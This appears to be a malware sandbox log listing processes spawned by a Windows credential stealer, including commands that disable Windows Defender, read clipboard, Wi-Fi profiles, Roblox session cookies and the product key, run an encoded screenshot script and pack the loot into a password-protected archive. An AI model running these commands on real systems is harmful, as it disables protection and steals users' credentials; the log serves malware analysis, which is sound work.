Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.cmdline"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES93BE.tmp" "c:\Users\user\AppData\Local\Temp\tgmup5d5\CSC93ACBC84BC674220B3501D9F22ECFDE.TMP"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Users\user\Desktop\program.exe "C:\Users\user\Desktop\program.exe"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG